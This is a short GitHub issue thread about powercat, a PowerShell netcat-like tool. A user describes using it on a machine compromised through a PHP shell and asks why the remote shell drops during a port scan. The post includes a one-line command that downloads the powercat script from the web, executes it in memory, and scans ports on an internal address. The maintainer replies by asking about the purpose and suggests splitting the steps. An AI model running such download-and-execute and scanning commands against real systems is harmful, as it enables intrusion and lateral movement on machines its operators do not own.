besimorhino / powercat

netshell features all in version 2 powershell
Apache License 2.0
2.15k stars 473 forks source link

The remote shell is disconected after execute port scanning #16

Open hackituria opened 6 years ago

hackituria commented 6 years ago

Hi,

I'm using Powercat to achieve a remote shell and after this, execute a port scan over other machines that the infected machine have visibilization.

I'm executing the port scaning of Powercat from memory using the folowing command:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); (21,22,80,443) | % {powercat -c 172.16.11.33 -p $_ -t 1 -Verbose}

When I execute it, the remote shell disconnected and the result appear on the navigator which is used to infect the machine via PHP shell.

Why does it happen? How can I fix it?

Thanks!

besimorhino commented 4 years ago

Can you help us understand what/why you're trying to do this? Specifically, why are you trying to do this in a single step? It'd be easier to get a remote shell, and then conduct the port scan as two commands.